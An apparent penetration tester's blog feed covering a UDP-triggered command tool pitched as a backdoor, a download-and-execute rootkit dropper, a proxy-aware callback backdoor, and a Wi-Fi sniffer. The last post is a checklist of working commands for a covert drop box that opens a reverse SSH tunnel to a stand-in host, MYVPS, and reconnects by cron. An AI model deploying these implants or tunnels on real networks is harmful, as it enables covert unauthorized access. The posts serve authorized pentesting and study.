<p><strong></strong>Enter SimSim, which can be downloaded at <a title="http://leetsys.com/programs/simsim/v1.0/" href="http://leetsys.com/programs/simsim/v1.0/">http://leetsys.com/programs/simsim/v1.0/</a>.  SimSim monitors network traffic using libpcap.  If it sees the configured &#8216;password&#8217; come in on any UDP packet it will execute a defined script.  In our case the defined script modifies iptables to allow any TCP connection from the IP Address of the packet that contained the password.  However it can really execute any command we want as it&#8217;s just a simple call to system().</p>
<p>To trigger the password we simply use netcat with the -u (for UDP) option and include the password.  The default password is simsim which is defined in simsim.c.  To take up fewer system resources (CPU &amp; Memory) simsim currently only monitors UDP port 22, which means we&#8217;ll rarely be inspecting packets that are not in fact sent by us.  This of course can be changed by changing the BPF filter in simsim.c.</p>
<p><strong>Example</strong></p>
<p><strong></strong>Let&#8217;s take a look at an example of simsim in action.</p>
<p>First we start by port scanning our target server running simsim.</p>
<p><a href="http://twrightson.files.wordpress.com/2011/12/one1.png"><img class="alignleft size-full wp-image-188" title="one" src="http://twrightson.files.wordpress.com/2011/12/one1.png?w=450&#038;h=150" alt="" width="450" height="150" /></a></p>
<p>You can see that our server has no open ports.  Next we send the server the configured password via netcat on port 22.</p>
<p><a href="http://twrightson.files.wordpress.com/2011/12/two1.png"><img class="alignleft size-full wp-image-189" title="two" src="http://twrightson.files.wordpress.com/2011/12/two1.png?w=450&#038;h=150" alt="" width="450" height="150" /></a></p>
<p>We then portscan the server again and voila, we see that we can access the SSH server.</p>
<p><a href="http://twrightson.files.wordpress.com/2011/12/three1.png"><img class="alignleft size-full wp-image-190" title="three" src="http://twrightson.files.wordpress.com/2011/12/three1.png?w=450&#038;h=173" alt="" width="450" height="173" /></a></p>
<p><strong>Shortcomings</strong></p>
<p>There are of course a few shortcomings in this design.  The biggest of which is the fact that the password is sent in cleartext with no cryptographic exchange by the server.  When you take into account what simsim is designed to do and who it&#8217;s meant to keep out this seems like an acceptable risk to me.  We could design a more robust solution but then it would require a dedicated client to be used vs using netcat which is widely available today.</p>
<p>We&#8217;re assuming that we are on a trustworthy network connection and that we&#8217;re more worried about attackers coming from other areas of the Internet.  Likewise if someone were to capture the password via sniffing and replay the packet they would be able to trigger simsim into executing the defined script.  This again is not such a big deal as they still need to authenticate to the SSH deamon.  As long as you don&#8217;t use the same password to trigger simsim as you do to log in to your SSH deamon you should be fine.</p>
<p><strong>Flexibility</strong></p>
<p><strong></strong>Because we can execute any system command the options are limitless for what we could have simsim do in reaction to receiving the identified password, we could potentially even setup multiple &#8216;passwords&#8217; to trigger different events.  This could even be used as a potential backdoor.  Imagine a situation where you could add a user account or change the root password remotely by sending a single UDP packet!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/174/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=174&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2011/12/18/covert-system-manipulation-tool-simsim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2011/12/one1.png" medium="image">
			<media:title type="html">one</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2011/12/two1.png" medium="image">
			<media:title type="html">two</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2011/12/three1.png" medium="image">
			<media:title type="html">three</media:title>
		</media:content>
	</item>
		<item>
		<title>Genesis &#8211; Generic file (rootkit) dropper</title>
		<link>http://twrightson.wordpress.com/2011/11/29/genesis-generic-file-rootkit-dropper/</link>
		<comments>http://twrightson.wordpress.com/2011/11/29/genesis-generic-file-rootkit-dropper/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 03:30:31 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[backdoors]]></category>
		<category><![CDATA[Programs]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=157</guid>
		<description><![CDATA[I just wrote this simple rootkit dropper using the curl library which is extremely easy to customize to fit many needs.  Currently there are only three defines to change to specify the file you want to download and run.  Right now I&#8217;ve tested it grabbing the file via HTTP and executing it, works very nice. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=157&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I just wrote this simple rootkit dropper using the curl library which is extremely easy to customize to fit many needs.  Currently there are only three defines to change to specify the file you want to download and run.  Right now I&#8217;ve tested it grabbing the file via HTTP and executing it, works very nice.  However the CURL library should allow you to change the protocol define to support many common protocols like FTP.   I plan on trying to reduce the file size of the curl library and adding support for SSL and SSH in the next version.</p>
<p>You can download Genesis at <a title="http://www.leetsys.com/programs/genesis/" href="http://www.leetsys.com/programs/genesis/" target="_blank">http://www.leetsys.com/programs/genesis/</a><br />
You can downlaod the curl library at <a href="http://curl.haxx.se/download.html">http://curl.haxx.se/download.html</a>.  To Download and compile to work with Dev-CPP follow these steps:</p>
<p><code>add c:\dev-cpp\bin\ to path<br />
run mingw32-make mingw32 in root curl path<br />
Copy include\curl to dev-cpp include path<br />
If you want to use Dynamic Library (DLL) and greatly reduce the size of Genesis:<br />
copy libcurl.dll to c:\windows\system32<br />
If you want to statically compile Set these options under Linker<br />
#####<br />
add the library - libcurl.a<br />
-lws2_32<br />
-lwldap32<br />
####<br />
Compiler Options set -DCURL_STATICLIB (or #define CURL_STATICLIB within main c file )</code><br />
I had been programming HTTP communications by hand before and curl has greatly reduced the effort to integrate this functionality into a program.  I&#8217;m definitely looking forward to porting over existing programs to use curl.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/157/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/157/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/157/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/157/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/157/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/157/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/157/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/157/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/157/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/157/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/157/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/157/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/157/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/157/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=157&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2011/11/29/genesis-generic-file-rootkit-dropper/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>
	</item>
		<item>
		<title>Proxy Detecting Callback Backdoor POC</title>
		<link>http://twrightson.wordpress.com/2011/10/29/proxy-detecting-callback-backdoor-poc/</link>
		<comments>http://twrightson.wordpress.com/2011/10/29/proxy-detecting-callback-backdoor-poc/#comments</comments>
		<pubDate>Sat, 29 Oct 2011 18:32:00 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[Programs]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=145</guid>
		<description><![CDATA[Here&#8217;s the scenario: You send a target a backdoor through whatever means you want; phishing email, USB stick, whatever. If the network is like most environments today they are not restricting outbound requests on standard ports like 80 or 443 and thus our backdoor calls home on these ports and we have a connection inside [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=145&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>Here&#8217;s the scenario:</strong><br />
You send a target a backdoor through whatever means you want; phishing email, USB stick, whatever. If the network is like most environments today they are not restricting outbound requests on standard ports like 80 or 443 and thus our backdoor calls home on these ports and we have a connection inside the candy shell. However if the target is doing what they should and firewall off most (all) outbound tcp ports from user subnets and require those users to go through web proxies for outbound requests then our backdoor would simply fail.</p>
<p><strong>Solution:</strong> Our backdoor needs to detect whether the user&#8217;s browser is configured to use a proxy server and if so call back to our HTTP command and control server through that proxy.</p>
<p><strong>Implementation: </strong>I&#8217;m not really giving this project a name because in it&#8217;s current state it&#8217;s just a very simple proof of concept and only reports whether the program was run.  We find ourselves doing these lightweight style social engineering engagements where we don&#8217;t necessarily need to penetrate a client further, all we want to know is if end users are doing things they shouldn&#8217;t (like clicking malicious links or plugging in unauthorized USB devices).  The code is pretty damn ugly but if I integrate this into my full blown rootkit/backdoor I&#8217;ll clean it up.  I don&#8217;t have plans to release my rootkit, but if anyone is interested in checking it out you can email me.</p>
<p>The only thing you need to get this POC functioning for you is to upload report.php to a web server and then change the destination email address in report.php to receive the alerts.  Then change the two DEFINEs in main.c for the POC to point to this webserver (server host and tcp port).  The POC first checks for the presence of a proxy server by querying the registry key HKLM\SOFTWARE\MICROSOFT\WINDOWS\CurrentVersion\Internet Settings\ProxyEnable.  If ProxyEnable is set to 1 it then checks for the proxy configuration in ProxyServer.   The POC then reports back to our HTTP server sending the workstation name and currently logged on user in an HTTP GET request.  The php script (report.php) then takes these and emails them to us.</p>
<p>If no proxy is detected the backdoor directly connects to the defined server to issue the GET request and we receive the email as expected.  You can download the source code and report.php file from <a href="http://www.leetsys.com/programs/proxybd/proxybd.zip" target="_blank">here</a>.</p>
<p><strong>Limitations: </strong>The only real limitation I can think right now is if the organization isn&#8217;t using Internet Explorer and the proxy settings are stored somewhere else.  This is definitely possible but I doubt a business environment would not also include proxy settings for Internet Explorer, for obvious reasons.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/145/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/145/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/145/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/145/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/145/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/145/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/145/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/145/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/145/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/145/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/145/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/145/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/145/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/145/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=145&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2011/10/29/proxy-detecting-callback-backdoor-poc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>
	</item>
		<item>
		<title>WOMAN v0.01 release</title>
		<link>http://twrightson.wordpress.com/2011/10/13/woman-v0-01-release/</link>
		<comments>http://twrightson.wordpress.com/2011/10/13/woman-v0-01-release/#comments</comments>
		<pubDate>Thu, 13 Oct 2011 03:15:15 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[Programs]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=109</guid>
		<description><![CDATA[I&#8217;m releasing version 0.01 of WOMAN (Who&#8217;s On Ma Network). I find myself creating fake access points often for penetration tests and created this very simple tool to fill a need of mine. When clients associate to me I want a quick and dirty (and reliable) way to identify which systems are active and the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=109&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m releasing version 0.01 of WOMAN (Who&#8217;s On Ma Network).  I find myself creating fake access points often for penetration tests and created this very simple tool to fill a need of mine.<br />
When clients associate to me I want a quick and dirty (and reliable) way to identify which systems are active and the details of the system including OS and which hosts they&#8217;re communicating with.  Sure you could stick with OS fingerprinting, p0f, nmap scans, etc but I&#8217;ve found that for this style of attack it&#8217;s much more straightforward to just observe the clients DNS and HTTP requests.  Typically you&#8217;ll get a very specific version in the Agent string which will really help to identify what OS and Device you&#8217;re observing.  Recently I&#8217;ve been seeing a huge explosion of wifi enabled mobile devices like B&amp;N nook, iPhones, iPads etc.  This can help prevent you from wasting time trying attack clients that won&#8217;t get you anywhere or help you narrow your focus on which attacks to execute. </p>
<p>In the past I&#8217;ve used either tcpdump or wireshark and filter for the traffic I want, but even that is cumbersome.  Enter WOMAN.  WOMAN uses libpcap and prints out HTTP Agent strings, GET and PUT requests, DNS requests and DNS responses.  You can enable and disable each one of these individually using command line arguments.  Sure you have other options available to gather this information but I prefer a home grown utility designed to do one thing and do it well, it&#8217;s written in C and is very fast.  You can also run this tool concurrently with other pcap/injection tools.  I definitely plan on expanding the program to add handy features.</p>
<p>The current supported arguments are:<br />
<code><br />
root@bt# ./woman<br />
Woman Version 0.01<br />
  Who's On Ma Network - (http://leetsys.com/projects/woman/)<br />
  Passive Host &amp; Communication Identification Tool</p>
<p>Usage:<br />
 -A show HTTP User Agent<br />
 -G show HTTP Get Requests<br />
 -H show HTTP Host Header<br />
 -i  set capture interface<br />
 -P show HTTP Post Requests<br />
 -r show DNS requests<br />
 -R show DNS responses<br />
</code></p>
<p>Here is an example screenshot of a very quick session, capturing only the HTTP User Agent and Host.</p>
<p><a href="http://twrightson.files.wordpress.com/2011/10/woman-example.png"><img src="http://twrightson.files.wordpress.com/2011/10/woman-example.png?w=150&#038;h=62" alt="" title="woman-example" width="150" height="62" class="alignleft size-thumbnail wp-image-128" /></a></p>
<p>This is a perfect example showing that by simply observing the HTTP requests of a client we can get detailed information.  We can see that the host is running Linux and the browser is Firefox 5.0.1.  An interesting unintended bit of info is that we see the client querying two additional hosts although we only entered one website (www.leetsys.com).  Again, this is great info to help identify the OS/Software and function of an end client.</p>
<p>There&#8217;s currently an issue with DNS responses with multiple answers, which I&#8217;ll be fixing shortly.  DNS has been an extreme headache to work with but also extremely fun.  </p>
<p>You can download the source and binary at <a target="_blank" href="http://www.leetsys.com/programs/woman/v0.01/" title="http://www.leetsys.com/projects/woman/v0.01/">http://www.leetsys.com/programs/woman/v0.01/</a></p>
<p>As always constructive feedback is welcomed.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/109/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/109/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/109/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=109&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2011/10/13/woman-v0-01-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>

		<media:content url="http://twrightson.files.wordpress.com/2011/10/woman-example.png?w=150" medium="image">
			<media:title type="html">woman-example</media:title>
		</media:content>
	</item>
		<item>
		<title>Capturing The Derbycon CTF</title>
		<link>http://twrightson.wordpress.com/2011/10/07/capturing-the-derbycon-ctf/</link>
		<comments>http://twrightson.wordpress.com/2011/10/07/capturing-the-derbycon-ctf/#comments</comments>
		<pubDate>Fri, 07 Oct 2011 00:47:20 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=118</guid>
		<description><![CDATA[My good friend Justin and I recently won the Derbycon Capture The Flag competition. A few people mentioned that they&#8217;d be interested to see a write up from us. It seemed that more people were interested in our methodology than anything else so I will discuss our strategy and tactics and if anyone is interested [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=118&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>My good friend Justin and I recently won the Derbycon Capture The Flag competition. A few people mentioned that they&#8217;d be interested to see a write up from us. It seemed that more people were interested in our methodology than anything else so I will discuss our strategy and tactics and if anyone is interested maybe we&#8217;ll follow it up with some of the technical challenges in another post.</p>
<p>I think I should start off by saying that the challenge was freaking awesome. It was so much fun. My hat goes off to the three gents that set it up, they did a great job and I know from conversations that people of all skill levels really enjoyed it. I definitely look forward to seeing those guys again and hopefully helping to create a future CTF.</p>
<p><strong>The challenges<br />
</strong> There was a wide range of challenges, which is one of the reasons I think it was so much fun, you really got a nice cranial workout. Some of the challenges included attack vectors such as</p>
<ul>
<li>Port Scanning</li>
<li>Web Application Scanning</li>
<li>SQL Injection</li>
<li>Reverse Engineering</li>
<li>Packet Captures</li>
<li>FIrefox Internals</li>
<li>Password Cracking</li>
<li>Public Key Cryptography</li>
</ul>
<p><strong>Our Methodology</strong><br />
I think one of the reasons we really enjoyed this (and did relatively well) is that in a very real sense the CTF closely mirrored our experience when Penetration Testing. I should probably note that Justin and I have been friends for a long time and have been performing penetration tests together for quite some time. We&#8217;re currently working for the same company and head up our Offensive Security Practice so we&#8217;re used to working together (and wanting to punch each other in the face).</p>
<p><strong>Tactic 1 &#8211; Enumeration</strong><br />
Now clearly enumeration is a part of any successful security engagement but in this case it took on a little twist. We knew there were many points (flags) to be collected spread across many different vectors. As we would enumerate different areas that seemed like they might lead to more flags we&#8217;d keep a list of these possibilities in a text file and then continue to try and enumerate additional vectors. We found ourselves referring to this list many times either after we had obtained a flag and needed a new challenge or when we became frustrated and needed a new challenge.</p>
<p><strong>Tactic 2 &#8211; Divide and Conquer</strong><br />
Justin and I worked very well as a team, we really played off each others strengths and we were rarely working on the same thing at the same time. We would each take a task and try and see it through to the end. There were definitely times we had to collaborate and bounce ideas off each other and it was this constant touch and go that I think really made a difference. A sub-tactic of this would be peer review and feedback. If either of us thought the other one was doing something stupid or wasting time we didn&#8217;t hesitate to voice our opinion and make sure we stayed on track.</p>
<p><strong>Tactic 3 &#8211; Think Logically</strong><br />
With the group of very intelligent folks at Derbycon &#8211; thinking logically probably goes without saying. However, I think we might have had a unique twist that also helped obtain the win. There were several occasions where we would step back and think *What exactly are we trying to accomplish, and how should it work*. This really helped us to focus on the goal we were trying to achieve. Don&#8217;t confuse our attack goals with our ultimate goal of winning. The perfect example I can think of is when we had been spinning our wheels for a while on a web challenge.<br />
The gents who ran the CTF had installed the FCKeditor on one of the web servers. We had found it with the nikto tool and a quick google search shows that the FCKeditor is a WYSIWYG text editor and historically has had a few vulnerabilities. I was convinced that I could exploit a File upload/RFI/LFI vulnerability and kept trying to force the issue. It wasn&#8217;t until I took a second to step back and think, what exactly am I trying to accomplish, how does it work, and what will it get me. When I did that a lightbulb went off and I realized, wait a minute, there aren&#8217;t any active pages within FCKeditor (they had all been removed by the CTF guys)! And with no active pages (ASP, PHP, etc) there&#8217;s no way an RFI/LFI vulnerability exists! Time to move on!</p>
<p><strong>Tactic 4 &#8211; Take a Freaking Break</strong><br />
The previous tactic works very nicely with this one. Some people don&#8217;t necessarily need breaks. Justin for example is a freaking tenacious maniac and trying to pry him away from a problem he&#8217;s working on is like ripping a bone out of dogs mouth. I on the other hand have learned that I can work more efficiently if I take regular breaks. If I&#8217;m spinning my wheels and not getting anywhere I say ok, time to step away, grab some coffee, food or go to the bathroom. Just take a few minutes to clear your head, the problem will still be there when you get back. This used to be very hard for me to do (I used to be more like Justin, and frankly sometimes it&#8217;s still very hard) but I&#8217;ve found that I can personally be more effective if I give my brain a break.</p>
<p><strong>Tactic 5 &#8211; Know Thy Enemy</strong><br />
Sun Tzu was whispering in our ears during the CTF ( we&#8217;re actually good friends with Sun Tzu… we know people). And we kept thinking about the makers of the CTF. One thought we kept working through is, what is the point of X. For example we knew that for the most part we could count on every file on the FTP server being placed there for a reason, and some of them had multiple purposes. We kept thinking what is the reason this particular file exists and was the flag we captured just a little too easy. This helped us to double back on a few challenges and find flags that needed just a little further digging.</p>
<p><strong>Real World Penetration Testing Parallels</strong><br />
I had mentioned that this CTF did a pretty damn good job of mirroring our efforts during a real penetration test and I figured some of this was worth mentioning. I think above all else the most direct parallel is the frustration and the tenacity needed. There were times when we were both EXTREMELY frustrated, literally cursing at our computers, the servers (and maybe the organizers :P). We knew there was something we were missing, wondering why the specific SQL syntax we were using wasn&#8217;t working, why this hash isn&#8217;t decrypting like we thought it should, why wireshark wasn&#8217;t doing what it was supposed to, the list goes on. We had to use all the previously mentioned tactics and work past the serious frustration until each challenge was met.<br />
Research… Just like during real penetration tests we came across things we weren&#8217;t familiar with. The best example is the FCKeditor. We had never seen it before, but googling it showed us what it was, how it worked and some of the vulnerabilities in previous versions. Not stopping at unfamiliar points is critical in the real world and definitely came into play here.</p>
<p><strong>Thanks Again!</strong><br />
One last time just want to thank all the organizers of Derbycon and the organizers of the CTF. Derbycon was beyond freaking awesome. And the CTF only elevated it, it was so cool that they got so many people at different skill levels involved. It&#8217;s sort of like The Matrix… No one can be told what Derbycon is, you just have to see it for yourself. If you weren&#8217;t there you simply can&#8217;t understand the amazing friendly/community vibe. Everyone there was super chill and super cool. Can&#8217;t wait for next year, BAM!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/twrightson.wordpress.com/118/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/twrightson.wordpress.com/118/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/twrightson.wordpress.com/118/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/twrightson.wordpress.com/118/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/twrightson.wordpress.com/118/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/twrightson.wordpress.com/118/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/twrightson.wordpress.com/118/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/twrightson.wordpress.com/118/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/twrightson.wordpress.com/118/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/twrightson.wordpress.com/118/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/twrightson.wordpress.com/118/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/twrightson.wordpress.com/118/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/twrightson.wordpress.com/118/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/twrightson.wordpress.com/118/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=118&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://twrightson.wordpress.com/2011/10/07/capturing-the-derbycon-ctf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/3e3bd3d7575624258185c1b656b60f56?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">twrightson</media:title>
		</media:content>
	</item>
		<item>
		<title>Configure Callback Laptop Checklist</title>
		<link>http://twrightson.wordpress.com/2010/11/14/configure-callback-laptop-checklist/</link>
		<comments>http://twrightson.wordpress.com/2010/11/14/configure-callback-laptop-checklist/#comments</comments>
		<pubDate>Sun, 14 Nov 2010 03:01:10 +0000</pubDate>
		<dc:creator>twrightson</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://twrightson.wordpress.com/?p=101</guid>
		<description><![CDATA[The point should be obvious. Deploy a stealthy box/laptop (linux based toaster?) at a target&#8217;s site. Have it call home on a ubiquitous/innocuous port, bypassing any firewall rules and voila you are inside the candy shell. Install Linux (depending on situation you might want FDE) install security tools (nmap, build-essential, nc, etc) vi /etc/default/acpi-support Disable [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=twrightson.wordpress.com&amp;blog=4729478&amp;post=101&amp;subd=twrightson&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The point should be obvious.  Deploy a stealthy box/laptop (linux based toaster?) at a target&#8217;s site.  Have it call home on a ubiquitous/innocuous port, bypassing any firewall rules and voila you are inside the candy shell.</p>
<p>Install Linux (depending on situation you might want FDE)<br />
install security tools (nmap, build-essential, nc, etc)</p>
<p>vi /etc/default/acpi-support<br />
Disable sleep in BIOS</p>
<p>ssh-keygen -t rsa (on laptop)</p>
<p>scp ~/.ssh/id_rsa.pub MYVPS:~</p>
<p>cat id_dsa.pub &gt;&gt; .ssh/authorized_keys</p>
<p>NOTE that the usernames must match on local and remote system</p>
<p>/usr/bin/ssh root@MYVPS -R *:222:localhost:22 -N -q -o &#8216;BatchMode yes&#8217; -o &#8216;ExitOnForwardFailure yes&#8217;</p>
<p>Add to roots crontab<br />
crontab -e */10 * * * * /scripts/callhome</p>
<p>Now ssh to your VPS box and then ssh localhost -p 222, you&#8217;re now authenticating to your callback box.</p>
